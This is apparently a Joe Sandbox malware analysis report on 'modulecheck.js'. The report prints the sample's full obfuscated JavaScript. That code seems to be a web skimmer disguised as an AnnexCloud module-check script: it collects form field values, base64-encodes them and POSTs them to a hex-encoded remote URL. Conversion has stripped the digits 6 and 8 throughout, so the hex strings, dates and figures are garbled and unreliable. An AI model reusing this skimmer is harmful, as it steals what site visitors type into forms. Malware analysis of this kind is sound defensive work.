ID: Sample Name: modulecheck.js Cookbook: default.jbs Time: 17:46:31 Date: 01/02/2018 Version:

Transcription

1 ID: Sample Name: modulecheck.js Cookbook: default.jbs Time: 17:4:31 Date: 01/02/201 Version:

2 Table of Contents Table of Contents Analysis Report Overview General Information Detection Confidence Classification Signature Overview AV Detection: Networking: System Summary: Anti Debugging: Malware Analysis System Evasion: Hooking and other Techniques for Hiding and Protection: Language, Device and Operating System Detection: Behavior Graph Simulations Behavior and APIs Antivirus Detection Initial Sample Dropped Files Domains Yara Overview Initial Sample PCAP (Network Traffic) Dropped Files Memory Dumps Unpacked PEs Joe Sandbox View / Context IPs Domains ASN Dropped Files Screenshot Startup Created / dropped Files Contacted Domains/Contacted IPs Contacted Domains Contacted IPs Static File Info General File Icon Network Behavior Code Manipulations Statistics System Behavior Analysis Process: wscript.exe PID: 312 Parent PID: 252 General Disassembly Code Analysis JavaScript Code Call Graph Copyright Joe Security LLC 201 Page 2 of

3 Script: Code Copyright Joe Security LLC 201 Page 3 of 13

4 Analysis Report Overview General Information Joe Sandbox Version: Analysis ID: Start time: 17:4:31 Joe Sandbox Product: CloudBasic Start date: Overall analysis duration: Hypervisor based Inspection enabled: Report type: Sample file name: Cookbook file name: 0h 1m 32s false light modulecheck.js default.jbs Analysis system description: Windows 7 SP1 (with Office 20 SP2, IE 11, FF 54, Chrome 0, Acrobat Reader DC 17, Flash 2, Java ) Number of analysed new started processes analysed: 2 Number of new started drivers analysed: 0 Number of existing processes analysed: 0 Number of existing drivers analysed: 0 Number of injected processes analysed: 0 Technologies Detection: Classification: MAL HCA enabled EGA enabled HDC enabled GSI enabled (Javascript) mal52.winjs@1/0@0/0 HCA Information: Successful, ratio: 0% Number of executed functions: 0 Number of non-executed functions: 0 EGA Information: HDC Information: Cookbook Comments: Warnings: Failed Failed Adjust boot time Found application associated with file extension:.js Stop behavior analysis, all processes terminated Show All Exclude process from analysis (whitelisted): dllhost.exe Detection Strategy Score Range Reporting Detection Threshold Report FP / FN Confidence Strategy Score Range Further Analysis Required? Confidence Copyright Joe Security LLC 201 Page 4 of 13

5 Strategy Score Range Further Analysis Required? Threshold false Confidence Classification Ransomware Miner Spreading malicious malicious malicious Evader Phishing suspicious suspicious suspicious clean clean clean Exploiter Banker Spyware Trojan / Bot Adware Signature Overview Copyright Joe Security LLC 201 Page 5 of 13

6 AV Detection Networking System Summary Anti Debugging Malware Analysis System Evasion Hooking and other Techniques for Hiding and Protection Language, Device and Operating System Detection Click to jump to signature section AV Detection: Antivirus detection for submitted file Networking: Urls found in memory or binary data System Summary: Found GUI installer (many successful clicks) Classification label Reads software policies Sample is known by Antivirus (Virustotal or Metascan) Uses an in-process (OLE) Automation server Java / VBScript file with very long strings (likely obfuscated code) Suspicious javascript / visual basic script found (invalid extension) Anti Debugging: Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation)) Malware Analysis System Evasion: Found WSH timer for Javascript or VBS script (likely evasive script) Hooking and other Techniques for Hiding and Protection: Disables application error messsages (SetErrorMode) Language, Device and Operating System Detection: Queries the cryptographic machine GUID Behavior Graph Copyright Joe Security LLC 201 Page of 13

7 Hide Legend ID: Behavior Graph Legend: Process Signature Created File DNS/IP Info Is Dropped Is Windows Process Sample: modulecheck.js Startdate: 01/02/201 Number of created Registry Values Number of created Files Visual Basic Architecture: WINDOWS Delphi Score: 52 Java.Net C# or VB.NET C, C++ or other language Antivirus detection for submitted file Suspicious javascript / visual basic script found (invalid extension) started Is malicious wscript.exe Simulations Behavior and APIs Time Type Description 17:47:20 API Interceptor 1x Sleep call for process: wscript.exe modified from: 0000ms to: 0ms Antivirus Detection Initial Sample Source Detection Cloud Link modulecheck.js 5% virustotal Browse Dropped Files No Antivirus matches Domains No Antivirus matches Copyright Joe Security LLC 201 Page 7 of 13

8 Yara Overview Initial Sample No yara matches PCAP (Network Traffic) No yara matches Dropped Files No yara matches Memory Dumps No yara matches Unpacked PEs No yara matches Joe Sandbox View / Context IPs No context Domains No context ASN No context Dropped Files No context Screenshot Copyright Joe Security LLC 201 Page of 13

9 Startup System is w7 wscript.exe (PID: 312 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\Desktop\modulecheck.js' MD5: 979D74799EACB179ADF5204A) cleanup Created / dropped Files No created / dropped files found Contacted Domains/Contacted IPs Contacted Domains No contacted domains info Contacted IPs No contacted IP infos Copyright Joe Security LLC 201 Page 9 of 13

10 Static File Info General File type: Entropy (bit): ASCII text, with very long lines, with CRLF line t erminators TrID: Java Script (500/0) 7.47% Java Script embedded in Visual Basic Script (2000/0) 23.53% File name: File size: 790 MD5: SHA1: SHA25: SHA512: File Content Preview: modulecheck.js b312a4fa533554df5bdf3bae05009b5 12f5a7c74274ea0cde05c090dc91e7ce29d a7b59c279ad93a7d3395ac9aa57029b19cda5 0d3cba0fdda0ca 9bf b51e93e754bc2940c13c1c0093bdc bad31c003924aac419d0402d7c e3ddfb7b0351b7c2407f9edf5 var _0xf3d=["\x\x74\x74\x70\x73\x3A\x2F\x2F\x77\x 5\x2\x\xF\x74\x3\x5\x2E\xD\x5\x2F\xA\x73\ x2f\x\xf\x72\xd\x2e\xa\x73","\x73\x5\x74\x9\x 4\x4","\x2\x3F\x3A\x5E\x7C\x3B\x20\x29","\x5C\x24\ x31","\x72\x5\x70\xc\x1\x3\x5","\x3d\x2\x File Icon Network Behavior No network behavior found Code Manipulations Statistics System Behavior Analysis Process: wscript.exe PID: 312 Parent PID: 252 General Start time: 17:47:20 Start date: 01/02/201 Path: C:\Windows\System32\wscript.exe Wow4 process (32bit): false Commandline: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\Desktop\modulecheck.js' Imagebase: 0x3000 File size: bytes MD5 hash: 979D74799EACB179ADF5204A Programmed in: C, C++ or other language Reputation: high Copyright Joe Security LLC 201 Page of 13

11 Disassembly Code Analysis JavaScript Code Call Graph Hide Legend Executed Not Executed entry:c0 Array() Array() r7dcd52ddb251a341125f4ab5f7bd send XMLHttpRequest() clk Date() Date() Array() indexof tostring btoa settimeout decodeuricomponent Script: Code Copyright Joe Security LLC 201 Page 11 of 13

12 Code 0 var _0xf3d = [ "\x\x74\x74\x70\x73\x3a\x2f\x2f\x77\x5\x2\x\xf\x74\x3\x5\x2e\xd\x5\x2f\xa\x73\x2f\x\x F\x72\xD\x2E\xA\x73", "\x73\x5\x74\x9\x4\x4", "\x2\x3f\x3a\x5e\x7c\x3b\x20\x29", "\x5c\x24\x31", "\x72\x5\x7 0\xC\x1\x3\x5", "\x3d\x2\x5b\x5e\x3b\x5d\x2a\x29", "\xd\x1\x74\x3\x", "\x3\xf\xf\xb\x9\x5", "\x7\x5\ x74\x54\x9\xd\x5", "\x2d", "\x72\x1\xe\x4\xf\xd", "\x\xc\xf\xf\x72", "\x73\x5\x74\x9\x4\x4\x3d", "\x3b \x20\x70\x1\x74\x\x3d\x2f\x3b\x20\x5\x7\x70\x9\x72\x5\x73\x3d", "\x74\xf\x55\x54\x43\x53\x74\x72\x9\xe\x7", "\x73\xe\x4", "\x9\xe\x70\x75\x74\x2c\x20\x73\x5\xc\x5\x3\x74\x2c\x20\x74\x5\x7\x74\x1\x72\x5\x1\x2c\x20\x3\x\x5\ x3\xb\x2\xf\x7\x2c\x20\x2\x75\x74\x74\xf\xe", "\x71\x75\x5\x72\x79\x53\x5\xc\x5\x3\x74\xf\x72\x41\x C\xC", "\xc\x5\xe\x7\x74\x", "\x7\x1\xc\x75\x5", "\xe\x1\xd\x5", "", "\x3d", "\x2", "\x1\x5b\x\x72\x5\ x\x2a\x3d\x27\xa\x1\x7\x1\x73\x3\x72\x9\x70\x74\x3a\x7\xf\x9\x4\x2\x30\x29\x27\x5d\x2c\x2\x75\x74\x 74\xF\xE\x2C\x20\x9\xE\x70\x75\x74\x2C\x20\x73\x75\x2\xD\x9\x74\x2C\x20\x2E\x2\x74\xE\x2C\x20\x2E\x2\x 75\x74\x74\xF\xE", "\x74\x79\x70\x5", "\x74\x5\x7\x74", "\x73\x5\xc\x5\x3\x74", "\x3\x\x5\x3\xb\x2\xf\ x7", "\x70\x1\x73\x73\x77\xf\x72\x4", "\x72\x1\x4\x9\xf", "\x1\x4\x4\x45\x7\x5\xe\x74\x4c\x9\x73\x74\x 5\xE\x5\x72", "\x3\xc\x9\x3\xb", "\x3\xc\xb", "\xf\xe\x3\xc\x9\x3\xb", "\x1\x74\x74\x1\x3\x\x45\ x7\x5\xe\x74", "\x\xf\x72\xd", "\x73\x75\x2\xd\x9\x74", "\xf\xe\x73\x75\x2\xd\x9\x74", "\x5f", "\xa\xf \x9\xe", "\x73\xc\x9\x3\x5", "\x2e", "\x73\x70\xc\x9\x74", "\x\xf\x73\x74\xe\x1\xd\x5", "\xe\xf\x4\xf \xd\x1\x9\xe", "\x50\x4f\x53\x54", "\x2\x3\x33\x39\x31\x3\x39\x3\x31\x4\x34\x30\x31\x2\x35\x34\x35\x3\x2\x4\x3\x\x1\x\x30\x34\x2\x35\x 2\x33\x3\x2\x34", "\xf\x70\x5\xe", "\x43\xf\xe\x74\x5\xe\x74\x2d\x74\x79\x70\x5", "\x1\x70\x70\xc\x9\x3\ x1\x74\x9\xf\xe\x2f\x7\x2d\x77\x77\x77\x2d\x\xf\x72\xd\x2d\x75\x72\xc\x5\xe\x3\xf\x4\x5\x4", "\x 73\x5\x74\x52\x5\x71\x75\x5\x73\x74\x4\x5\x1\x4\x5\x72", "\x9\xe\x\xf\x3d", "\x2\x\xf\x73\x74\xe\x 1\xD\x5\x3D", "\x2\xb\x5\x79\x3d", "\xd\x79\x9\x4", "\x73\x5\xe\x4", "\xc\xf\x3\x1\x74\x9\xf\xe", "\ x74\x5\x73\x74", "\xf\xe\x5\x70\x1\x7\x5\x7c\x3\x\x5\x3\xb\xf\x75\x74\x7c\xf\xe\x5\x73\x74\x5\x7 0", "\x7\x9" ]; 1 var r7dcd52ddb251a341125f4ab5f7bd = { 2 snd : null, 3 bc39191d401b545bdcfaf04b5b3b4 : _0xf3d[0], 4 myid : ( function (_0x5001x2) { ("setidd") undefined ("setidd") Show all Function undefined Runs 5 var _0x5001x3 = document[_0xf3d[7]][_0xf3d[]] ( new RegExp ( _0xf3d[2] + _0x5001x2[_0xf3d[4]] ( /([\.$?* {}\(\)\[\]\\\/\+^ ])/g, _0xf3d[3] ) + _0xf3d[5] ) ); return _0x5001x3? decodeuricomponent ( _0x5001x3[1] ) : undefined; 7 } ) ( _0xf3d[1] ) ( function () { var _0x5001x4 = new Date ( ); 9 var _0x5001x5 = _0x5001x4[_0xf3d[]] ( ) + _0xf3d[9] + Math[_0xf3d[11]] ( Math[_0xf3d[]] ( ) * ( ) ); var _0x5001x = new Date ( new Date ( ) [_0xf3d[]] ( ) + 0 * 0 * 24 * 00 ); 11 document[_0xf3d[7]] = _0xf3d[12] + _0x5001x5 + _0xf3d[13] + _0x5001x[_0xf3d[14]] ( ); 12 return _0x5001x5; 13 } ) ( ), 14 clk : function () { 15 r7dcd52ddb251a341125f4ab5f7bd[_0xf3d[15]] = null; 1 var _0x5001x7 = document[_0xf3d[17]] ( _0xf3d[1] ); 17 for ( var _0x5001x = 0 ; _0x5001x < _0x5001x7[_0xf3d[1]] ; _0x5001x ++ ) 1 { 19 if ( _0x5001x7[_0x5001x][_0xf3d[19]][_0xf3d[1]] > 0 ) 20 { 21 var _0x5001x9 = _0x5001x7[_0x5001x][_0xf3d[20]]; 22 if ( _0x5001x9 == _0xf3d[21] ) 23 { 24 _0x5001x9 = _0x5001x; 25 } 2 ; 27 r7dcd52ddb251a341125f4ab5f7bd[_0xf3d[15]] += _0x5001x7[_0x5001x][_0xf3d[20]] + _0xf3d[22] + _0x5001x7[_0x 5001x][_0xf3d[19]] + _0xf3d[23]; 2 } 29 } 30 }, 31 send : function () { 32 try 33 { 34 var _0x5001xa = document[_0xf3d[17]] ( _0xf3d[24] ); 35 for ( var _0x5001x = 0 ; _0x5001x < _0x5001xa[_0xf3d[1]] ; _0x5001x ++ ) 3 { 37 var _0x5001xb = _0x5001xa[_0x5001x]; 3 if ( _0x5001xb[_0xf3d[25]]!= _0xf3d[2] && _0x5001xb[_0xf3d[25]]!= _0xf3d[27] && _0x5001xb[_0xf3d[25]]!= _0xf3d[ 2] && _0x5001xb[_0xf3d[25]]!= _0xf3d[29] && _0x5001xb[_0xf3d[25]]!= _0xf3d[30] ) 39 { 40 if ( _0x5001xb[_0xf3d[31]] ) 41 { 42 _0x5001xb[_0xf3d[31]] ( _0xf3d[32], r7dcd52ddb251a341125f4ab5f7bd[_0xf3d[33]], false ); 43 } 44 else 45 { 4 _0x5001xb[_0xf3d[35]] ( _0xf3d[34], r7dcd52ddb251a341125f4ab5f7bd[_0xf3d[33]] ); 47 } 4 } 49 } 50 ; 51 var _0x5001xc = document[_0xf3d[17]] ( _0xf3d[3] ); 52 for ( vari = 0 ; _0x5001x < _0x5001xc[_0xf3d[1]] ; _0x5001x ++ ) 53 { 54 if ( _0x5001xc[_0x5001x][_0xf3d[31]] ) 55 { 5 _0x5001xc[_0x5001x][_0xf3d[31]] ( _0xf3d[37], r7dcd52ddb251a341125f4ab5f7bd[_0xf3d[33]], false ); 57 } 5 else 59 { 0 _0x5001xc[_0x5001x][_0xf3d[35]] ( _0xf3d[3], r7dcd52ddb251a341125f4ab5f7bd[_0xf3d[33]] ); Copyright Joe Security LLC 201 Page 12 of 13

13 Code 1 } 2 } 3 ; 4 if ( r7dcd52ddb251a341125f4ab5f7bd[_0xf3d[15]]!= null ) 5 { var _0x5001xd = location[_0xf3d[44]][_0xf3d[43]] ( _0xf3d[42] ) [_0xf3d[41]] ( 0 ) [_0xf3d[40]] ( _0xf3d[39] ) _0xf3d[4 5]; 7 var _0x5001xe = btoa ( r7dcd52ddb251a341125f4ab5f7bd[_0xf3d[15]] ); var _0x5001xf = new XMLHttpRequest ( ); 9 _0x5001xf[_0xf3d[4]] ( _0xf3d[4], r7dcd52ddb251a341125f4ab5f7bd[_0xf3d[47]], true ); 70 _0x5001xf[_0xf3d[51]] ( _0xf3d[49], _0xf3d[50] ); 71 _0x5001xf[_0xf3d[5]] ( _0xf3d[52] + _0x5001xe + _0xf3d[53] + _0x5001xd + _0xf3d[54] + r7dcd52ddb251a341125f4ab5f7bd[_0xf3d[55]] ); 72 } 73 ; 74 r7dcd52ddb251a341125f4ab5f7bd[_0xf3d[15]] = null; 75 _0x5001xe = null; 7 settimeout ( 77 function () { 7 r7dcd52ddb251a341125f4ab5f7bd[_0xf3d[5]] ( ); 79 }, 30 ) ; 0 } 1 catch ( e ) 2 { 3 } 4 } 5 }; if ( ( new RegExp ( _0xf3d[59], _0xf3d[0] ) )[_0xf3d[5]] ( window[_0xf3d[57]] ) ) 7 { r7dcd52ddb251a341125f4ab5f7bd[_0xf3d[5]] ( ); 9 } 90 window['checkmymodule'] = 91 function (modulecheck, siteid) { 92 var siteid = siteid 0; 93 var defaultarray = new Array ( ); 94 var siteidarray = new Array ( ); 95 siteidarray['annexcloud_sc'] = [ '0040', '0041', ' ', ' ' ]; 9 siteidarray['annexcloud_sl'] = [ '0040', '0041' ]; 97 siteidarray['annexcloud_raf'] = defaultarray; 9 siteidarray['annexcloud_vc'] = [ ' ', '9411', ' ', '941130' ]; 99 siteidarray['annexcloud_qna'] = defaultarray; 0 siteidarray['annexcloud_sns'] = defaultarray; 1 siteidarray['annexcloud_loyalty'] = defaultarray; 2 siteidarray['annexcloud_trackable'] = defaultarray; 3 siteidarray['annexcloud_raas'] = defaultarray; 4 siteidarray['annexcloud_annexrewards'] = defaultarray; 5 siteidarray['annexcloud_rnr'] = defaultarray; var modulechkarr = new Array ( ); 7 modulechkarr['annexcloud_sc'] = 1; modulechkarr['annexcloud_sl'] = 1; 9 modulechkarr['annexcloud_raf'] = 1; 1 modulechkarr['annexcloud_vc'] = 1; 111 modulechkarr['annexcloud_qna'] = 1; 112 modulechkarr['annexcloud_sns'] = 1; 113 modulechkarr['annexcloud_loyalty'] = 1; 114 modulechkarr['annexcloud_trackable'] = 1; 115 modulechkarr['annexcloud_raas'] = 1; 11 modulechkarr['annexcloud_annexrewards'] = 1; 117 modulechkarr['annexcloud_rnr'] = 1; 11 if ( typeof modulechkarr[modulecheck]!= 'undefined' ) 119 { 120 if ( 1 == modulechkarr[modulecheck] ) 121 { 122 if ( siteidarray[modulecheck].length > 0 && siteid!== 0 ) 123 { 124 siteid = siteid.tostring ( ); 125 if ( siteidarray[modulecheck].indexof ( siteid )!= - 1 ) 12 { 127 return 0; 12 } 129 } 130 } 131 return modulechkarr[modulecheck]; 132 } 133 return 0; 134 }; Copyright Joe Security LLC 201 Page 13 of 13